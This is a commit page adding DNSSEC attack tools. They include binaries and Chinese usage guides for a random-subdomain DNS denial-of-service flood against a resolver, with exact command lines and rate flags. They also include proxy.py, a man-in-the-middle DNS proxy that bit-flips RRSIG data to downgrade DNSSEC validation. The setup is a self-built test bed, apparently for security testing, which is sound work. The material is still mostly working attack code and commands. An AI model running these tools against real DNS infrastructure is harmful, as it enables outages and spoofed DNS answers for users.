Update dnssec related files
This commit is contained in:
BIN
att script/dnssec-ddos/ddos-topology.png
Normal file
BIN
att script/dnssec-ddos/ddos-topology.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 450 KiB |
BIN
att script/dnssec-ddos/dtool
Normal file
BIN
att script/dnssec-ddos/dtool
Normal file
Binary file not shown.
BIN
att script/dnssec-ddos/rogue-ns
Normal file
BIN
att script/dnssec-ddos/rogue-ns
Normal file
Binary file not shown.
73
att script/dnssec-ddos/说明.md
Normal file
73
att script/dnssec-ddos/说明.md
Normal file
@@ -0,0 +1,73 @@
|
||||
## 使用说明
|
||||
|
||||
### 基本目标
|
||||
|
||||
通过向目标域名解析服务器发送特定请求,使目标服务器服务质量下降或无法提供服务,形成拒绝服务攻击。
|
||||
|
||||
### 软件环境
|
||||
|
||||
DNSSEC拒绝服务攻击中共需要4种软件,如下表所示,其中主要测试对象为目录中的拒绝服务攻击工具dtool和辅助攻击工具rogue-ns,dig工具用于从客户端发起DNS查询并查看解析结果,docker用于运行必要的DNS服务器和监控组件容器。
|
||||
|
||||
| 软件名称 | 版本 | 作用 | 备注 |
|
||||
| ------- | ---- | ---- | ---- |
|
||||
|拒绝服务攻击工具|v1.0|发送拒绝服务攻击请求||
|
||||
|辅助攻击工具|v1.0|辅助进行拒绝服务攻击||
|
||||
|dig|9.11.36|发起DNS查询并查看解析结果||
|
||||
|docker|24.0.5|安装必要容器||
|
||||
|
||||
### 硬件环境
|
||||
|
||||
测试中共需要三台服务器A,B和C。服务器均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|
||||
|
||||
|硬件名称|数量|配置|作用|
|
||||
|---|---|---|---|
|
||||
|公有云VPS|3|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
|
||||
|
||||
### 测试拓扑
|
||||
|
||||
测试拓扑如下图。
|
||||
|
||||

|
||||
|
||||
### 部署方法
|
||||
|
||||
#### 目标及监控部署
|
||||
|
||||
在服务器B上通过docker安装BIND9容器作为攻击目标,安装cadvisor,prometheus和grafana进行服务器B的状态监控。
|
||||
|
||||
#### 拒绝服务攻击工具部署
|
||||
|
||||
将可执行文件dtool移动到服务器A上。
|
||||
|
||||
#### 辅助攻击工具部署
|
||||
|
||||
将可执行文件rogue-ns移动到服务器C上。
|
||||
|
||||
### 使用方法
|
||||
|
||||
#### 辅助攻击工具
|
||||
|
||||
|参数|说明|示例|
|
||||
|---|---|---|
|
||||
|-sld|攻击中使用的二级域名|echodns.xyz|
|
||||
|
||||
#### 拒绝服务攻击工具
|
||||
|
||||
|参数|说明|示例|
|
||||
|---|---|---|
|
||||
|query|攻击中使用的二级域名|echodns.xyz|
|
||||
|-p|目标端口|53|
|
||||
|-d|攻击中使用的域名后缀|rogue.echodns.xyz|
|
||||
|-R|是否进行域名随机生成,布尔型参数||
|
||||
|-r|发送请求速率|100|
|
||||
|-n|发送请求总量|10000|
|
||||
|
||||
|
||||
### 测试方法
|
||||
|
||||
1. 在服务器B上启动BIND9容器;
|
||||
2. 在服务器C上执行命令`./rogue-ns -sld echodns.xyz`,启动辅助攻击工具;
|
||||
3. 在服务器A上执行命令`./dtool query {ip} -p 5353 -R -d rogue.jtfgzlm.icu -r 300 -n 60000`,启动拒绝服务攻击脚本向目标进行攻击;
|
||||
4. 通过服务器B上3000端口的grafana仪表盘监控目标状态;
|
||||
5. 在服务器A上使用dig向目标进行DNS查询,通过解析时延和超时情况判断攻击效果。
|
||||
|
||||
BIN
att script/dnssec-downgrade/downgrade-topology.png
Normal file
BIN
att script/dnssec-downgrade/downgrade-topology.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
196
att script/dnssec-downgrade/proxy.py
Normal file
196
att script/dnssec-downgrade/proxy.py
Normal file
@@ -0,0 +1,196 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import socket
|
||||
import dns.message
|
||||
import dns.rdatatype
|
||||
import dns.rdata
|
||||
import dns.rdataclass
|
||||
import binascii
|
||||
import csv
|
||||
import datetime
|
||||
|
||||
from scapy.all import *
|
||||
|
||||
#from crypto.PublicKey import Ed448
|
||||
#import dns.rdatatype
|
||||
|
||||
# 定义代理服务器的地址和端口
|
||||
proxy_host = '10.0.8.14' # 代理服务器的IP地址
|
||||
proxy_port = 53 # 代理服务器的端口
|
||||
#proxy_port = 22 # 代理服务器的端口
|
||||
|
||||
# 定义上游DNS服务器的地址和端口
|
||||
upstream_host = '127.0.0.1' # 上游DNS服务器的IP地址
|
||||
upstream_port = 9999 # 上游DNS服务器的端口
|
||||
|
||||
csv_file = "dnssec_log.csv"
|
||||
|
||||
def proxy_dns_request(request, client_addr, proxy_socket):
|
||||
# 创建与上游DNS服务器的套接字连接
|
||||
upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
# 发送DNS请求到上游DNS服务器
|
||||
upstream_socket.sendto(request, (upstream_host, upstream_port))
|
||||
|
||||
# 接收上游DNS服务器的响应
|
||||
response, _ = upstream_socket.recvfrom(4096)
|
||||
|
||||
# 修改DNS应答中的字段
|
||||
modified_response = modify_dns_response(response,client_addr,len(request))
|
||||
#modified_response = response
|
||||
|
||||
# 将修改后的DNS应答发送给客户端
|
||||
#client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
#client_socket.sendto(modified_response, client_addr)
|
||||
proxy_socket.sendto(modified_response, client_addr)
|
||||
# print("finish",client_addr)
|
||||
# 关闭套接字连接
|
||||
upstream_socket.close()
|
||||
#client_socket.close()
|
||||
|
||||
def modify_dns_response(response,client_addr,len_request):
|
||||
# 在这里添加你的修改逻辑
|
||||
# 解析DNS应答消息,并修改需要的字段
|
||||
# 可以使用dnspython等DNS库来解析和构造DNS消息
|
||||
# print("response ",response)
|
||||
dns_response = dns.message.from_wire(response)
|
||||
# print("dns_response ",dns_response)
|
||||
qweasd = 0
|
||||
|
||||
packet = DNS(response)
|
||||
# 解析DNS流量
|
||||
if DNS in packet:
|
||||
dns1 = packet[DNS]
|
||||
if dns1.qd[0].qtype != 1:
|
||||
print("************No Change************")
|
||||
return response
|
||||
if dns1.ancount > 0:
|
||||
print("Answers:")
|
||||
for an in dns1.an:
|
||||
print(" Name:", an.rrname.decode())
|
||||
print(" Type:", an.type)
|
||||
#print(" Data:", an.rdata)
|
||||
|
||||
for rrset in dns_response.answer:
|
||||
if rrset.rdtype == dns.rdatatype.RRSIG and qweasd == 0 :
|
||||
qweasd = 1
|
||||
current_time = datetime.now()
|
||||
# with open(csv_file, "a", newline="") as file:
|
||||
# writer = csv.writer(file)
|
||||
# writer.writerow([client_addr, len_request, current_time])
|
||||
# print("dnssec_log.csv:",csv_file)
|
||||
# new_rdata = dns.rdata.from_text(rrset.rdclass, rrset.rdtype, rrset.to_text())
|
||||
# new_rdata.algorithm = 16 # 设置为 5 或其他你想要的值
|
||||
|
||||
# 替换原始 RRSIG 记录
|
||||
# rrset.clear()
|
||||
# rrset.add(new_rdata)
|
||||
# for attrr in dir(rrset):
|
||||
# print(attrr)
|
||||
# print("rdata.algorithm",rrset.algorithm)
|
||||
# new_rdata = dns.rdatatype.from_text(rdtype_text.replace(dns.rdatatype.RSASHA1,dns.rdatatype.ED448))
|
||||
# rrset.items = new_rdata
|
||||
# print(rrset.items)
|
||||
# print(rrset[1])
|
||||
# print(bin(rrset.items[1]))
|
||||
# for qwe in rrset:
|
||||
#print(qwe)
|
||||
#print(type(qwe)," key: ",qwe," qweqweqweqweqwe ")
|
||||
# for attrr in dir(qwe):
|
||||
# print(attrr)
|
||||
# qwe.algorithm = 16
|
||||
# print(qwe.algorithm)
|
||||
# 遍历DNS响应中的资源记录
|
||||
|
||||
modified_response = dns_response.to_wire()
|
||||
binary_string = bin(int(binascii.hexlify(modified_response), 16))
|
||||
# print("len: ",len(binary_string),"\n",binary_string)
|
||||
formatted_string = str(binary_string)
|
||||
index = str(binary_string).find("01100101001000001101110000001111")
|
||||
new_string = formatted_string[:index+1] + '0' + formatted_string[index+2:]
|
||||
new_string = new_string[:index+2] + '1' + new_string[index+3:]
|
||||
new_string = new_string[:index+3] + '0' + new_string[index+4:]
|
||||
new_string = new_string[:index+4] + '0' + new_string[index+5:]
|
||||
new_string = new_string[:index+5] + '1' + new_string[index+6:]
|
||||
new_string = new_string[:index+6] + '0' + new_string[index+7:]
|
||||
formatted_string = new_string[:index+7] + '1' + new_string[index+8:]
|
||||
|
||||
# index = str(binary_string).find("0000010100000011")
|
||||
index = str(binary_string).find("0000110100000011")
|
||||
|
||||
# formatted_string = str(binary_string)
|
||||
new_string = formatted_string[:index+1] + '1' + formatted_string[index+2:]
|
||||
new_string = new_string[:index+2] + '1' + new_string[index+3:]
|
||||
new_string = new_string[:index+3] + '1' + new_string[index+4:]
|
||||
new_string = new_string[:index+4] + '0' + new_string[index+5:]
|
||||
new_string = new_string[:index+5] + '0' + new_string[index+6:]
|
||||
new_string = new_string[:index+6] + '0' + new_string[index+7:]
|
||||
formatted_string = new_string[:index+7] + '0' + new_string[index+8:]
|
||||
# print("len: ",len(formatted_string),"\n",formatted_string)
|
||||
# print("index: ",formatted_string[index:])
|
||||
binary_string = formatted_string[2:]
|
||||
binary_number = int(binary_string, 2)
|
||||
formatted_string = binary_number.to_bytes((binary_number.bit_length() + 7) // 8, 'big')
|
||||
# print("index: ",formatted_string)
|
||||
try:
|
||||
dns_response = dns.message.from_wire(formatted_string)
|
||||
except:
|
||||
modified_response = dns_response.to_wire()
|
||||
# print(dns_response)
|
||||
modified_response = dns_response.to_wire()
|
||||
print("**********************************************************************************************************************")
|
||||
return modified_response
|
||||
|
||||
def start_proxy_server():
|
||||
# 创建代理服务器的套接字
|
||||
proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
# 将套接字绑定到代理服务器的地址和端口
|
||||
proxy_socket.bind((proxy_host, proxy_port))
|
||||
|
||||
# 循环监听客户端请求并代理流量
|
||||
|
||||
num = 1
|
||||
|
||||
print("START: ")
|
||||
while True:
|
||||
|
||||
print("start")
|
||||
request, client_addr = proxy_socket.recvfrom(4096)
|
||||
print("num: ",num)
|
||||
num = num + 1
|
||||
try:
|
||||
packet = DNS(request)
|
||||
# 解析DNS流量
|
||||
if DNS in packet:
|
||||
dns1 = packet[DNS]
|
||||
if dns1.qdcount > 0:
|
||||
print("Queries:")
|
||||
for qd in dns1.qd:
|
||||
print(" Query Name:", qd.qname.decode())
|
||||
print(" Query Type:", qd.qtype)
|
||||
print(" Query Class:", qd.qclass)
|
||||
query_current_time = datetime.now()
|
||||
query_current_time = query_current_time.strftime("%H%M%S%f")[:-2]
|
||||
# src = request[IP].src
|
||||
print(" Query src:", client_addr)
|
||||
print(" Query Current Time:", query_current_time)
|
||||
tmp = qd.qname.decode()
|
||||
if tmp[0] == "D":
|
||||
with open("shiyan1_query", "a", newline="") as file:
|
||||
writer = csv.writer(file)
|
||||
writer.writerow([qd.qname.decode(), qd.qtype, qd.qclass, client_addr, query_current_time])
|
||||
print("finish")
|
||||
except Exception as e:
|
||||
print("error",str(e))
|
||||
|
||||
|
||||
|
||||
proxy_dns_request(request, client_addr, proxy_socket)
|
||||
|
||||
# 关闭套接字连接
|
||||
proxy_socket.close()
|
||||
|
||||
|
||||
# 启动代理服务器
|
||||
start_proxy_server()
|
||||
52
att script/dnssec-downgrade/说明.md
Normal file
52
att script/dnssec-downgrade/说明.md
Normal file
@@ -0,0 +1,52 @@
|
||||
## 使用说明
|
||||
|
||||
### 基本目标
|
||||
|
||||
使目标DNS解析器不对DNSSEC记录进行验证,实现针对DNSSEC的降级攻击
|
||||
|
||||
### 软件环境
|
||||
|
||||
DNSSEC降级攻击中共需要四种软件,如下表所示,其中主要测试对象为目录中的DNSSEC绕过工具脚本proxy.py,BIND9用于搭建权威服务器和递归解析器,dig工具用于从客户端发起DNS查询并查看解析结果,python用于运行DNSSEC绕过工具。
|
||||
|
||||
| 软件名称 | 版本 | 作用 | 备注 |
|
||||
| ------- | ---- | ---- | ---- |
|
||||
|DNSSEC绕过工具|v1.0|实现中间人篡改功能|proxy.py|
|
||||
|BIND9|9.18.2|搭建权威服务器和递归解析器||
|
||||
|dig|9.11.36|发起DNS查询并查看解析结果||
|
||||
|python|3.7.2|运行DNSSEC绕过工具||
|
||||
|
||||
### 硬件环境
|
||||
|
||||
测试中共需要三台服务器A和B。服务器A和B均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。
|
||||
|
||||
|硬件名称|数量|配置|作用|
|
||||
|---|---|---|---|
|
||||
|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件|
|
||||
|
||||
### 测试拓扑
|
||||
|
||||
测试拓扑如下图。
|
||||
|
||||

|
||||
|
||||
### 部署方法
|
||||
|
||||
#### BIND9部署
|
||||
|
||||
在服务器B上安装并配置BIND9作为权威服务器,并进行权威域的DNSSEC配置。
|
||||
在服务器A上安装并配置BIND9作为递归解析器,开启DNSSEC验证功能。
|
||||
|
||||
#### DNSSEC绕过工具部署
|
||||
|
||||
在服务器B上安装python3,将proxy.py脚本移动到服务器上。
|
||||
|
||||
### 工具使用方法
|
||||
|
||||
DNSSEC绕过工具无输入参数,直接通过`python3 proxy.py`运行。
|
||||
|
||||
### 测试方法
|
||||
|
||||
1. 在服务器B上启动权威服务器,监听9999端口;
|
||||
2. 在服务器B上执行python3 proxy.py命令,启动DNSSEC绕过工具;
|
||||
3. 在服务器A上使用dig向本地的递归解析器查询ns3.jtfgzlm.icu,通过解析结果验证DNSSEC降级攻击效果
|
||||
|
||||
Reference in New Issue
Block a user